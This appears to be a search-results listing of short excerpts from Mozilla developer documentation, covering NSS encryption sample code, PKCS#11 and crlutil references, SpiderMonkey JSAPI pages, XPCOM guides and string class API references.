... = fileno(input); int istty = isatty(infd); for (;;) { /* prompt for password */ if (istty) { fprintf(output, "%s", prompt); fflush (output); echooff(infd); } fgets(phrase, sizeof(phrase), input); if (istty) { fprintf(output, "\n"); echoon(infd); } /* stomp on newline */ phrase[port_strlen(phrase)-1] = 0; /* validate password */ if (!(*ok)(phrase)) { if (!istty) return 0; fprintf(output, "password must be at least 8 characters long with one or more\n"); fprintf(output, "non-alphabetic characters\n"); continue; } return (char*) port_strdup(phrase); } } /* * filepas...
EncDecMAC using token object - sample 3
decryptandverifymac(const char* outfilename, char *encryptedfilename, secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *ivitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem noparams = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned char iv[blocksize]; unsigned int ivlen = ivitem->len; unsigned int filelength; unsigned int paddinglength; int j; memcpy(iv, ivitem->data, iv...
...unt == filelength) { decbuflen = decbuflen-paddinglength; } /* write the plain text to out file */ temp = pr_write(outfile, decbuf, decbuflen); if (temp != decbuflen) { pr_fprintf(pr_stderr, "write error\n"); rv = secfailure; break; } /* save last block of ciphertext */ memcpy(iv, decbuf, decbuflen); ivlen = decbuflen; blocknumber++; } if (rv != secsuccess) { goto cleanup; } rv = macfinal(ctxmac, newmac, &newmaclen, sizeof(newmac)); if (rv != secsuccess) { goto cleanup; } if (port_memcmp(macitem->data, newmac, newmaclen) == 0) { rv = secsuccess; } else { pr_fprintf(pr_stderr, "check mac : failure\n"); pr_fprintf(pr_stderr, "extracted : "); printashex(pr_stderr, macitem->data, macitem->len); pr_fprintf(pr_stderr, "computed : "); printashex(pr_stderr, newmac, newmaclen); rv = secfailure; } clea...
...* loop until eof(input) * read a buffer of plaintext from input file, * mac it, append the mac to the plaintext * encrypt it using cbc, using previously created iv, * store the last block of ciphertext as the new iv, * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; unsigned char *mackeyid = (unsigned char *) "mac key"; secitem enckeyid = { siasciistring, enckeyid, pl_strlen(enckeyid) }; secitem mackeyid = { siasciistring, mackeyid, pl_strle...
Utilities for nss samples
*/ /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printasascii */ void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len) { char *b64data = null; b64data = btoa_datatoascii(data, len); pr_fprintf(out, "%s", b64data); pr_fprintf(out, "\n"); if (b64data) { port_free(b64data); } } /* * printashex */ void pr...
...lumn = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * getdigit */ int getdigit(char c) { if (c == 0) { return -1; } if (c <= '9' && c >= '0') { return c - '0'; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } if (c <= 'f' && c >= 'a') { retu...
... = fileno(input); int istty = isatty(infd); for (;;) { /* prompt for password */ if (istty) { fprintf(output, "%s", prompt); fflush (output); echooff(infd); } fgets(phrase, sizeof(phrase), input); if (istty) { fprintf(output, "\n"); echoon(infd); } /* stomp on newline */ phrase[port_strlen(phrase)-1] = 0; /* validate password */ if (!(*ok)(phrase)) { if (!istty) return 0; fprintf(output, "password must be at least 8 characters long with one or more\n"); fprintf(output, "non-alphabetic characters\n"); continue; } return (char*) port_strdup(phrase); } } /* * filepas...
FC_DeriveKey
ptemplate [in] pointer to the list of attributes for the new key.
...phkey [out] pointer to the location to receive the handle of the new key.
... description fc_derivekey derives (decrypts) a key and creates a new key object.
FC_SetPIN
syntax ck_rv fc_setpin( ck_session_handle hsession, ck_char_ptr poldpin, ck_ulong uloldlen, ck_char_ptr pnewpin, ck_ulong ulnewlen ); parameters fc_setpin takes five parameters: hsession [input] the session's handle poldpin [input] points to the old pin.
...pnewpin [input] points to the new pin.
... ulnewlen [input] the length in bytes of the new pin.
NSS tools : crlutil
the options and arguments for the crlutil command are defined as follows: -g create new certificate revocation list(crl).- -d delete certificate revocation list from cert database.
... -o output-file specify the output file name for new crl.
... * change range of certificate entry(s) in crl range new-range where: new-range: two integer values separated by dash: range of certificates that will be added by this command.
TLS Cipher Suite Discovery
an implementation that claimed to offer all defined cipher suites would only be able to make that claim for a short time until another new cipher suite was defined.
... each new release of a tls implementation may contain support for new cipher suites not supported in previous versions.
... when a new version of a tls implementation is made available for use by applications, those applications may wish to immediately use the newly supported cipher suites found in the new version, without the application needing to be modified and re-released to know about these new cipher suites.
NSS tools : crlutil
MozillaProjectsNSStoolscrlutil
the options and arguments for the crlutil command are defined as follows: -g create new certificate revocation list(crl).
... -o output-file specify the output file name for new crl.
... * change range of certificate entry(s) in crl range new-range where: new-range: two integer values separated by dash: range of certificates that will be added by this command.
Network Security Services
nss api guidelines explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.) nss technical notes links to nss technical notes, which provide latest information about new nss features and supplementary documentation for advanced topics in programming with nss.
... mailing list newsgroup rss feed view mozilla cryptography forums...
... mailing list newsgroup rss feed related topics security ...
Rhino community
please use the new group instead, but the old one may be of historical interest.
... the mozilla.dev.tech.js-engine newsgroup answers questions about the c implementation of javascript, and was also used for answering questions about rhino until september 27, 2007.
... to view archived messages earlier than september 27, 2007, try google group for the earlier newsgroup.
Rhino shell
if it is not instance of java.io.outputstream, the process output is read, converted to a string, appended to the output property value converted to string and put as the new value of the output property.
...if it is not instance of java.io.outputstream, the process error output is read, converted to a string, appended to the err property value converted to string and put as the new value of the err property.
...the new function synchronizes on the this object of its invocation.
Property cache
for jof_set instructions, this makes two additional guarantees: first, vword.issprop(); second, the correct behavior is to set the property described by vword.tosprop(), rather than to shadow it with a new own property.
... adding cache entries {.kpc=pc, .kshape=kshape, .vshape()=vshape, .scopeindex()=0, .protoindex()=0, .vword=vword} where kshape != vshape this type of entry is only created for jsop_setprop and jsop_setname instructions that create a new property.
...sometimes the new property can be created simply by calling jsscope::extend, but there are many special cases and pitfalls to watch out for.
Tracing JIT
an assembler is also able to modify existing fragments of native code, by rewriting native jump instructions to jump to new locations.
...a running tally is kept of assignments between registers and lir operands, and any time a new lir operand is required in a register a new one is assigned from the list of free registers.
... recording when the trace monitor enters recording mode, it constructs a new trace recorder, of type tracerecorder.
JIT Optimization Outcomes
the interpreted callee function is invoked with new but cannot be called as a constructor.
...the native callee function was called with an unsupported number of arguments, or calling non-constructing functions with new.
...cannot inline a native constructor (e.g., new array) because no template object was cached by the baseline compiler.
JS::Add*Root
t *cx, js::heap<jsstring *> *rp, const char *name); bool js::addnamedobjectroot(jscontext *cx, js::heap<jsobject *> *rp, const char *name); bool js::addnamedscriptroot(jscontext *cx, js::heap<jsscript *> *rp, const char *name); name type description cx jscontext * the context in which to add the new root.
... rt jsruntime * the runtime in which to add the new root.
... name const char * the name of the new root, or null.
JS::CallArgs
this method must not be called when the function is being called as a constructor via new.
... bool isconstructing() const returns true if the function is called via new.
...new code should use callargs instead of js_callee etc.
JS::CompileFunction
name const char * name to assign the newly compiled function.
... name is the name to assign to the newly created function.
... on success, js::compilefunction stores an function object representing the newly compiled function into fun and and returns true.
JSClass.call
var custom = new specialcustomobject(); custom(); // the jsclass.call hook receives the global object as the obj parameter.
... new custom(); // the jsclass.construct hook receives the global object as the obj parameter.
...new x.specialmethod(); // the jsclass.construct hook receives x as the obj parameter.
JSExtendedClass
a c/c++ program can use a jsextendedclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++.
...creates and returns a new iterator.
... pass &myextendedclass.base to functions like js_initclass or js_newobject that require a jsclass *.
JSFunction
the apis js_newfunction, js_definefunction, js_compilefunction, and their unicode equivalents return values of type jsfunction *.
...function objects created by calling js_newfunction have two reserved slots for the application's use.
... see js_newfunction for details.
JSReserveSlotsOp
syntax typedef uint32 (* jsreserveslotsop)(jscontext *cx, jsobject *obj); name type description cx jscontext * the js context in which the new object is being created.
... obj jsobject * the new object.
... jsclass hooks jsclass offers the following hook: the jsclass.reserveslots callback is called each time a new object is created.
JSStringFinalizer
this article covers features introduced in spidermonkey 17 finalize external strings created by js_newexternalstring.
... description jsstringfinalizer::finalize finalizes external strings created by js_newexternalstring.
... see also mxr id search for jsstringfinalizer js_newexternalstring bug 724810 ...
JS_BindCallable
syntax jsobject* js_bindcallable(jscontext *cx, js::handle<jsobject*> callable, js::handle<jsobject*> newthis); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... callable js::handle&lt;jsobject*&gt; pointer to the function object to bind new this.
... newthis js::handle&lt;jsobject*&gt; pointer to the new this value for callable.
JS_CompileUTF8FileHandle
principals jsprincipals * (only in js_compileutf8filehandleforprincipals) the security principals to associate with the new script, or null.
... if principals is non-null, it points to a jsprincipals object that is associated with the new script and any functions it creates.
... on success, js_compileutf8filehandle reads file to eof and returns an object representing the newly compiled script.
JS_SetContextCallback
added in spidermonkey 31 typedef enum jscontextop { jscontext_new, jscontext_destroy } jscontextop; enumeration meaning jscontext_new js_newcontext successfully created a new jscontext instance.
...if the callback returns js_false, the instance will be destroyed and js_newcontext returns null.
...see also mxr id search for js_setcontextcallback js_newcontext js_destroycontext js_destroycontextnogc js_destroycontextmaybegc js_getcontextprivate js_setcontextprivate bug 845545 ...
SpiderMonkey 52
it also contains new language and api features described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... platform support migrating to spidermonkey 52 new javascript language features new c++ apis deleted apis api changes known issues ...
Mozilla Projects
mailnews mailnews stands for "mail and newsgroups".
... mailnews is the back end of the messaging parts of seamonkey and thunderbird.
...to that end, this document will be revised over time as we find new and better ways of helping developers.
History Service Design
objectives the primary objectives of the new history service implementation in places are: improve access to browsing history allow association of useful metadata with urls flexible query system for both end-users and add-ons developers clean architecture for ease of code reuse and maintainability the most known and visible feature of history are views.
...in case the database is missing a new one is created, if instead the database exists but the connection to it fails due to database corruption, the corrupt database is moved away and a new one is created.
...finally observers are notified a new visit has been added.
XPCOM changes in Gecko 2.0
note: binary xpcom components must be recompiled for every new major release of firefox starting with firefox 4.
...therefore the following categories have changed: old name new name javascript global constructor javascript-global-constructor javascript global constructor prototype alias javascript-global-constructor-prototype-alias javascript global property javascript-global-property javascript global privileged property javascript-global-privileged-property javascript global static nameset javascript-global-static-nameset javascript global dynamic namese...
...this was necessary in order to ensure that any components that should no longer be available are disposed of properly, and to re-register everything, loading any new components that may be needed.
Packaging WebLock
the chrome registry lives in a series of rdf/xml files in the application directory of mozilla and other gecko-based browsers, where new installs, user configurable data, skins, and other information are related to one another and the application itself.
... javascript apis from the xpinstall install object download the jar in which the installable files appear and call registration methods that tell mozilla about the new component and the ui it uses to access the weblock component.
... // register the new ui with the mozilla chrome registry registerchrome(content, getfolder(cf,"weblock.xpi"),"weblock"); registerchrome(skin, getfolder(cf, "weblock.xpi"),"weblock"); // perform the installation if there are no errors if (err==success) performinstall(); else cancelinstall(err); the weblock trigger script the trigger script is the script placed on a web page that actually initiates an xpinstal...
Creating XPCOM components
add-ons should try to use the new add-on sdk as much as possible; however, there may be cases when it's unavoidable.
...faces into your build environment implementing the nsicontentpolicy interface receiving notifications implementing the nsicontentpolicy uniform resource locators checking the white list creating nsiuri objects building the weblock ui user interface package list client code overview xul the xul document the locking ui site adding ui weblock.xul overlaying new user interface into mozilla weblockoverlay.xul other resources weblock.css image resources packaging weblock component installation overview archiving resources the weblock installation script the weblock trigger script distributing your component appendix a - setting up the gecko sdk downloading and setting the sdk building a microsoft visual cpp project cre...
...ating a new project adding the gecko sdk to the project settings building a windows project a makefile for unix appendix b - resources weblock resources gecko resources xpcom resources general development resources next » copyright (c) 2003 by doug turner and ian oeschger.
Making cross-thread calls using runnables
instead, we want to run it on a new thread and be notified when the result is available.
...erthread->shutdown(); } private: picallback mcallback; nscstring mresult; nscomptr<nsithread> mworkerthread; }; class picalculatetask : public nsrunnable { public: picalculatetask(picallback callback, int digits) : mcallback(callback) , mdigits(digits) { } ns_imethod run() { nscstring result; calculatepi(mdigits, result); nscomptr<nsirunnable> resultrunnable = new piresulttask(mcallback, result); ns_dispatchtomainthread(resultrunnable); } private: picallback mcallback; int mdigits; }; putting it all together to start a new thread, create it using the thread manager: #include "nsxpcomcidinternal.h" void calculatepiasynchronously(int digits, picallback callback) { // to create a new thread, get the thread manager nscomptr<nsithreadmanager> t...
...m = do_getservice(ns_threadmanager_contractid); nscomptr<nsithread> mythread; nsresult rv = tm->newthread(0, 0, getter_addrefs(mythread)); if (ns_failed(rv)) { // in case of failure, call back immediately with an empty string which indicates failure callback(emptycstring()); return; } nscomptr<nsirunnable> r = new picalculatetask(callback, digits); mythread->dispatch(r, nsieventtarget::dispatch_normal); // the result callback will shut down the worker thread, we can let it go here...
Components.classes
usage in order to retrieve the object for a given contractid, you can query the components.classes array as follows: var clazz0 = components.classes["@mozilla.org/messenger;1"]; clazz0 is the class object for the contractid @mozilla.org/messenger;1, which is not usually used by itself, but whose createinstance and getservice methods can be used to create a new instance of the component or to access the singleton instance, if the contract id represents a service.
... a new xpcom component instance can be created from the returned class object as follows: var obj = components.classes["@mozilla.org/supports-array;1"] .createinstance(components.interfaces.nsisupportsarray); which is a shortcut to var obj = components.classes["@mozilla.org/supports-array;1"] .createinstance(); obj.queryinterface(components.interfaces.nsisupportsarray); if you don't provide a specific interface to createinstance(), it will return an xpconnect wrapper for the component, which only exposes the methods of the nsisupports interface (and under certain circumstances the special wrappedjsobject property).
... shortcuts it's a common practice to abbreviate components.classes and components.interfaces by storing a reference to the object as a constant: const cc = components.classes, ci = components.interfaces; var os = cc["@mozilla.org/observer-service;1"] .getservice(ci.nsiobserverservice); a less known trick, useful when creating multiple instances of the same component, is to use the new operator on the class object: var clazz = components.classes["@mozilla.org/supports-array;1"]; var inst = new clazz(components.interfaces.nsisupportsarray); this implicitly calls the createinstance() method for you.
Language bindings
ts interface which is reflected into javascript as a top level object using xpconnect.components.classescomponents.classes is a read-only object whose properties are classes indexed by contractid.components.classesbyidcomponents.classesbyid is a read-only object whose properties are classes indexed by cid.components.constructorcreates a javascript function which can be used to create or construct new instances of xpcom components.components.exceptioncomponents.exception is a javascript constructor to create nsixpcexception objects.
...it returns a reference to the clone:components.utils.createobjectincomponents.utils.createobjectin creates a new javascript object in the scope of the specified object's compartment.components.utils.evalinsandboxthe evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've previously created using the components.utils.sandbox constructor.components.utils.evalinwindowthis function enables code running in a more-privileged javascript context to evaluate a string in a less-privil...
...this can be particularly handy with restartless (boostrapped) extensions, so that you can unload an old version of a code module when a new version of your add-on is installed.components.utils.unwaivexraysundo a previous call to components.utils.waivexrays(), restoring xray vision for the caller.components.utils.waivexrayswaives xray vision for an object, giving the caller a transparent wrapper to the underlying object.javaxpcomjavaxpcom allows for communication between java and xpcom, such that a java application can access xpcom ob...
NS ConvertASCIItoUTF16 external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters prunichar** begin prunichar** end pruint32 newsize prunichar* beginwriting(pruint32) - source parameters pruint32 <anonymous> endwriting prunichar* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters ...
NS ConvertUTF16toUTF8 external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
NS ConvertUTF8toUTF16 external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters prunichar** begin prunichar** end pruint32 newsize prunichar* beginwriting(pruint32) - source parameters pruint32 <anonymous> endwriting prunichar* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters ...
NS LossyConvertUTF16toASCII external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
PromiseFlatCString (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
PromiseFlatString (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters prunichar** begin prunichar** end pruint32 newsize prunichar* beginwriting(pruint32) - source parameters pruint32 <anonymous> endwriting prunichar* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters ...
nsACString (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
nsACString_internal
st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsAString (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters prunichar** begin prunichar** end pruint32 newsize prunichar* beginwriting(pruint32) - source parameters pruint32 <anonymous> endwriting prunichar* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters nsastring& astring void assign(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength void assign(prunichar) - source parameters prunichar achar assignliteral void assignliteral(const char*) - source parameters char* as...
nsAString_internal
(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsAutoString (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters prunichar** begin prunichar** end pruint32 newsize prunichar* beginwriting(pruint32) - source parameters pruint32 <anonymous> endwriting prunichar* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters ...
nsCAutoString (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
nsCStringContainer (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char* begin char* end pruint32 newsize char beginwriting(pruint32) - source parameters pruint32 alen endwriting char endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring astring ...
nsCString external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
nsDependentCString external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
nsDependentCSubstring
st nsacstring_internal&, pruint32) - source parameters nsacstring_internal& str pruint32 pos void insert(const nscsubstringtuple&, pruint32) - source parameters nscsubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const char**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters char** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsDependentCSubstring external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
nsDependentString external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters prunichar** begin prunichar** end pruint32 newsize prunichar* beginwriting(pruint32) - source parameters pruint32 <anonymous> endwriting prunichar* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters ...
nsDependentSubstring
(const nsastring_internal&, pruint32) - source parameters nsastring_internal& str pruint32 pos void insert(const nssubstringtuple&, pruint32) - source parameters nssubstringtuple& tuple pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength setcapacity void setcapacity(pruint32) - source buffer sizing parameters pruint32 newcapacity setlength void setlength(pruint32) - source parameters pruint32 newlength truncate void truncate(pruint32) - source parameters pruint32 newlength getdata pruint32 getdata(const prunichar**) const - source get a const pointer to the string's internal buffer.
... if size_type(-1) is passed for newlen, then the current length of the string is used.
...parameters prunichar** data pruint32 newlen setisvoid void setisvoid(prbool) - source string data is never null, but can be marked void.
nsDependentSubstring external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters prunichar* begin prunichar* end pruint32 newsize prunichar beginwriting(pruint32) - source parameters pruint32 <anonymous> endwriting prunichar endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters ...
nsLiteralCString (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
nsLiteralString (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters char** begin char** end pruint32 newsize char* beginwriting(pruint32) - source parameters pruint32 alen endwriting char* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsacstring&) - source parameters nsacstring& astri...
nsStringContainer (External)
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters prunichar** begin prunichar** end pruint32 newsize prunichar* beginwriting(pruint32) - source parameters pruint32 <anonymous> endwriting prunichar* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters ...
nsString external
@param newsize size the string to this length.
...@return the new length of the string, or 0 if resizing failed.
... parameters prunichar** begin prunichar** end pruint32 newsize prunichar* beginwriting(pruint32) - source parameters pruint32 <anonymous> endwriting prunichar* endwriting() - source setlength prbool setlength(pruint32) - source parameters pruint32 alen length pruint32 length() const - source isempty prbool isempty() const - source setisvoid void setisvoid(prbool) - source parameters prbool val isvoid prbool isvoid() const - source assign void assign(const nsastring&) - source parameters ...
amIInstallTrigger
return value install() starts a new installation of a set of add-ons.
... installchrome starts installing a new add-on.
... startsoftwareupdate starts installing a new add-on.
nsIAboutModule
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long geturiflags(in nsiuri auri); nsichannel newchannel(in nsiuri auri); constants constant value description uri_safe_for_untrusted_content (1 << 0) a flag that indicates whether a uri is safe for untrusted content.
...newchannel() constructs a new channel for the about protocol module.
... nsichannel newchannel( in nsiuri auri ); parameters auri the uri of the new channel.
nsICollection
oid clear(); pruint32 count(); nsienumerator enumerate(); nsisupports getelementat(in pruint32 index); void queryelementat(in pruint32 index, in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); void removeelement(in nsisupports item); void setelementat(in pruint32 index, in nsisupports item); methods appendelement() appends a new item to the collection.
... setelementat() replaces an item at a specified index in the collection with a new one.
... void setelementat( in pruint32 index, in nsisupports item ); parameters index index position where the new item will be set.
nsICompositionStringSynthesizer
ngsynthesizer = domwindowutils.createcompositionstringsynthesizer(); for example, when you create a composition whose composing string is "foo-bar-buzz" and "bar" is selected to convert, then, first, you need to start composition: domwindowutils.sendcompositionevent("compositionstart", "", ""); next, dispatch composition string with crause information and caret information (optional): // set new composition string with .setstring().
...(bug 979112) setstring() sets new composition string.
... void setstring(in astring astring); parameters astring new composition string.
nsIDBFolderInfo
mailnews/db/msgdb/public/nsidbfolderinfo.idlscriptable ???
...obsolete since gecko 1.8 void setmailboxname(in nsstring newboxname); native code only!
...void setmailboxname( in nsstring newboxname ); parameters newboxname missing description exceptions thrown missing exception missing description setproperty() void setproperty( in string propertyname, in astring propertystr ); parameters propertyname missing description propertystr missing description exceptions thrown missing exception missing descri...
nsIDOMEvent
this type may be any event type currently defined in this specification or a new event type.
...any new event type must not begin with any upper, lower, or mixed case version of the string "dom".
...it is also strongly recommended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events.
nsIDOMGeoGeolocation
methods clearwatch() when the clearwatch() method is called, the watch() process stops calling for new position identifiers and cease invoking callbacks.
...getcurrentposition() acquires the user's current position via a new position object.
...unsigned short watchposition( in nsidomgeopositioncallback successcallback, [optional] in nsidomgeopositionerrorcallback errorcallback, [optional] in nsidomgeopositionoptions options ); parameters successcallback an nsidomgeopositioncallback that is to be called whenever new position information is available.
nsIDOMNSHTMLDocument
